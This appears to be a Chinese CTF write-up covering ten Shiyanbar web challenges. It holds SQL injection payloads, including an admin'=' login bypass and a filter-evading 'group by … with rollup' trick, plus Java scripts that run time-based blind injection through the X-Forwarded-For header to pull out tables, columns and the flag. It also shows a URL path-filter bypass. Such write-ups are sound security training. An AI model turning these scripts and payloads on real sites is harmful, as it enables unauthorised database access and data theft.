CTF-实验吧web前十题


登陆一下好吗??

题目设置了一个条件,返回字段数少于3条就不予返回,所以要求你的语句能够返回全部的语句

账号密码都是admin'='


who are you?

用了X-Forward-For头的注入攻击

X-Forwarded-For: aa' or sleep(3) and 'a'='a
然后发现回复的ip为注入语句,burp扔给sqlmap跑不出来,检测有过滤,

虽然看不懂放个脚本吧(java版 httpclient 4.5)

4.1获取表

public static void getTable() throws ClientProtocolException, IOException{String table="";for(int m=1;m<20;m++)for (int i = 32; i < 127; i++){long t1 = System.currentTimeMillis();HttpClient client = HttpClients.createDefault();String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";HttpGet get = new HttpGet(url);get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"+ " ( Ascii( SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()) FROM "+ m +" FOR 1))="+i+")"+ " THEN SLEEP(4) ELSE SLEEP(0) END )  and 'a'='a");CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);HttpEntity enity = response.getEntity();String body = EntityUtils.toString(enity, "UTF-8");long t2 = System.currentTimeMillis();//System.out.println(body);System.out.println((t2 - t1)+"s,i="+i+"  "+table);if((t2-t1)>4000){table=table+(char)i;System.out.println(table);break;}}

}

发现有 cilent_ip和flag两个表

4.2获取列

public static void getcolumn() throws ClientProtocolException, IOException

{

String database="";

for(int m=1;m<20;m++)

for (int i = 32; i < 127; i++)

{

long t1 = System.currentTimeMillis();

HttpClient client = HttpClients.createDefault();

String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";

HttpGet get = new HttpGet(url);

get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"

+ " ( Ascii( SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='flag') FROM "+ m +" FOR 1))="+i+")"

+ " THEN SLEEP(5) ELSE SLEEP(0) END )  and 'a'='a");

CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);

HttpEntity enity = response.getEntity();

String body = EntityUtils.toString(enity, "UTF-8");

long t2 = System.currentTimeMillis();

//System.out.println(body);

System.out.println((t2 - t1)+"s,i="+i+"  "+database);

if((t2-t1)>5000)

{

database=database+(char)i;

System.out.println(database);

break;

}

}

}

跑出flag这个列

4.3 跑flag

public static void getflag() throws ParseException, IOException

{

String database="";

for(int m=1;m<50;m++)

for (int i = 32; i < 127; i++)

{

long t1 = System.currentTimeMillis();

HttpClient client = HttpClients.createDefault();

String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";

HttpGet get = new HttpGet(url);

get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"

+ " ( Ascii( SUBSTRING((select flag from flag) FROM "+ m +" FOR 1))="+i+")"

+ " THEN SLEEP(6) ELSE SLEEP(0) END )  and 'a'='a");

CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);

HttpEntity enity = response.getEntity();

String body = EntityUtils.toString(enity, "UTF-8");

long t2 = System.currentTimeMillis();

//System.out.println(body);

System.out.println((t2 - t1)+"s,i="+i+"  "+database);

if((t2-t1)>6000)

{

database=database+(char)i;

System.out.println(database);

break;

}

}

}


因缺思汀的绕过

查看网页的源码,发现登录的源码路径是source.txt

从源码中可以知道这些全都被过滤了:and|select|from|where|union|join|sleep|benchmark|,|\(|\)

并且数据库中只有一条数据

if (mysql_num_rows($query) == 1)

最核心的部分是这里

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

大致的执行过程是先将用户输入的uname作为查询条件,在数据库中查询uname和pwd,然后将查询到的pwd与用户输入的pwd进行比较,内容一致才输出flag

这里的思路是,利用group by pwd with rollup在查询中的一个特点,他可以返回pwd所在的那一条记录,通过limit控制返回哪一条,因此他不可以返回多条,一旦返回2条及以上,pwd就会为空,但同一条记录中的其他字段则是正常的

那么利用这一点令查询结果为空,我们输入的pwd也为空值,则构成了if(null==null)为true

即:输入的用户名为:' or 1=1 group by pwd with rollup limit 1 offset 2 #

这里解释一下此时执行的SQL:

SELECT * FROM interest where uname=' ' or 1=1

group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)

limit 1 (只查询一行)

offset 2  (从第二行开始查询)

#注释

此时密码只要为空即可查询成功


简单的注入3

扔给SQLMAP

简单的注入2

让我进去

hash长度扩展

拐弯抹角



伪静态

'

// code by SEC@USTC

echo'';

$URL=$_SERVER['REQUEST_URI'];

//echo 'URL: '.$URL.'
';

$flag="CTF{???}";

$code=str_replace($flag,'CTF{???}',file_get_contents('./index.php'));

$stop=0;

//这道题目本身也有教学的目的

//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的

//所以,第一个要求就是不得出现 ./

if($flag&&strpos($URL,'./') !==FALSE){

$flag="";

$stop=1;//Pass

}

//第二,我们可以构造 \ 来代替被过滤的 /

//所以,第二个要求就是不得出现 ../

if($flag&&strpos($URL,'\\') !==FALSE){

$flag="";

$stop=2;//Pass

}

//第三,有的系统大小写通用,例如 indirectioN/

//你也可以用?和#等等的字符绕过,这需要统一解决

//所以,第三个要求对可以用的字符做了限制,a-z / 和 .

$matches= array();

preg_match('/^([0-9a-z\/.]+)$/',$URL,$matches);

if($flag&& empty($matches) ||$matches[1] !=$URL){

$flag="";

$stop=3;//Pass

}

//第四,多个 / 也是可以的

//所以,第四个要求是不得出现 //

if($flag&&strpos($URL,'//') !==FALSE){

$flag="";

$stop=4;//Pass

}

//第五,显然加上index.php或者减去index.php都是可以的

//所以我们下一个要求就是必须包含/index.php,并且以此结尾

if($flag&&substr($URL, -10) !=='/index.php'){

$flag="";

$stop=5;//Not Pass

}

//第六,我们知道在index.php后面加.也是可以的

//所以我们禁止p后面出现.这个符号

if($flag&&strpos($URL,'p.') !==FALSE){

$flag="";

$stop=6;//Not Pass

}

//第七,现在是最关键的时刻

//你的$URL必须与/indirection/index.php有所不同

if($flag&&$URL=='/indirection/index.php'){

$flag="";

$stop=7;//Not Pass

}

if(!$stop)$stop=8;

echo'Flag: '.$flag;

echo'';

for($i=1;$i<$stop;$i++)

$code=str_replace('//Pass '.$i,'//Pass',$code);

for(;$i<8;$i++)

$code=str_replace('//Pass '.$i,'//Not Pass',$code);

echohighlight_string($code,TRUE);

echo'';

题目的意思就是通过改变地址栏访问index.PHP,但是限制了条件不能使用 ./  ../ \\ 而且只能使用小写字母,不可以在php后加点,这里我们可以利用伪静态技术,使用http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php,index.php后的index.php会被当做参数处理,所以服务器只会解析第一个index.php,满足条件成功绕过



forms

burpsuite抓包 改values 出源码,填入$a 出flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容

  • 1.创建文件夹 !/bin/sh mkdir -m 777 "%%1" 2.创建文件 !/bin/sh touch...
    BigJeffWang阅读 10,031评论 3 53
  • 【程序1】 题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔...
    叶总韩阅读 5,129评论 0 41
  • 最后一场春雨,下得轻却又沉似。 午睡时因木香枕的薰味太浓,将之塞进橱柜,才隐约安眠。 醒来屋内昏阴,以为外头又刮沙...
    妙云花花阅读 840评论 0 2
  • VR游戏相对传统游戏,个人认为主要有三个方面的不同:玩法设计,输入方式,性能压力。今天就来谈一下VR游戏中的性能优...
    小太阳会发光诺阅读 907评论 0 2
  • 一: 不要开口就想赚钱! 工作不养闲人,团队不养懒人。 想赚钱,就不要怕付出! 容易成功的二种人,一种人是傻子,一...
    我的故事说给你听阅读 443评论 0 0